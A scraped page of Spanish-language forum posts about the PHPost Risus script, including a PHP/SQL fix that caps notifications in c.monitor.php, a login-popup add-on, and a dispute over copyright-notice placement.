    risus 1 2 7 000 responsive con html5,css3 y boostrap
  45. 5 likes
  46. 5 likes
    Hola... me puse a ver nuevamente el script, como hago siempre... por momento me dan ganas de usarlo!!!! y despues entro al foro y veo lo muerto que esta y se me van las ganas... PERO BUENO! Ahora estoy con ganas asi que me puse a ver un error que nunca se soluciono y yo reporte hace mucho tiempo, y el error esta en que AL PONER EL MAXIMO DE NOTIFICACIONES QUE QUEREMOS MOSTRAR EN EL MONITOR DESDE LA ADMINISTRACION, estos valores no son tomados y se nos hace una lista interminable de notificaciones, "en su momento llegue a tener mas de 200" para solucionar esto hacemos lo siguiente... Abrimos inc/class/c.monitor.php y buscamos. // DATOS $sql = 'SELECT m.*, u.user_name AS usuario FROM u_monitor AS m LEFT JOIN u_miembros AS u ON m.obj_user = u.user_id WHERE m.user_id = \''.$tsUser->uid.'\' ORDER BY m.not_id DESC'; Remplazamos por: // DATOS $sql = 'SELECT m.*, u.user_name AS usuario FROM u_monitor AS m LEFT JOIN u_miembros AS u ON m.obj_user = u.user_id WHERE m.user_id = \''.$tsUser->uid.'\' ORDER BY m.not_id DESC LIMIT '.$tsCore->settings['c_max_nots'].''; Y listo con esto el monitor ya pondra la cantidad de notificaciones que nosotros pongamos desde la administracion. Terminando.... El Fix fue aplicado en la ultima version del script, anque creo que funcionara para todas las versiones ya que es un error que viene hace rato.... saludos y ojala el foro se ponga otra vez en movimiento
  47. 5 likes
    aqui de rapidito les dejo un popup de login/registro que se mostrara al acceder a un post y al acceder al muro de cualquier usuario. muestra un mensaje, imagen del usuario ya sea del muro o post e incluye los botones de registro y login. solo se mostrara a los usuarios que no esten registrados o logeados, al entrar al post al entrar al muro la instalacion solo toma lo que te tardas en hecharte un pedo jajaj aqui el archivo con las instrucciones click aqui
  48. 5 likes
    La cuestión no es si hablas mal o bien del script, sino cómo lo haces. El problema es tu actitud, y se puede percibir muy bien al final de tu comentario. No me voy a extender en lo del copyright porque no tengo tiempo y porque lees y entiendes lo que quieres. En el reglamento dice claramente que el único requisito es tener el copyright en la parte inferior de la interfaz del script, por lo que no, no se puede poner en el sidebar. Y vuelvo a repetir, no tiene nada que ver la frase de los derechos reservados con el aviso de copyright de PHPost, estás confundiendo las cosas. Me ha hecho mucha gracia leer una vez más eso de "que te desquites de tu rabia con esta cuenta, baneame", ya me lo han propuesto demasiadas veces. Estás muy tenso Sasuke, relájate...
  49. 5 likes
    Baja los humos sasuke, con esa actitud no ayudas a nadie. @Vzlawarez no hay ningún problema en que pongas esa frase de los derechos reservados. Sasuke no se ha dado cuenta de que los derechos reservados son los de "Miranda Reporta" no lo de PHPost, no tiene ningún sentido lo que te ha dicho. Además, esa frase viene por defecto en Risus, está al final de los Términos y Condiciones.
  50. 4 likes
    El migrador vuelve a estar disponible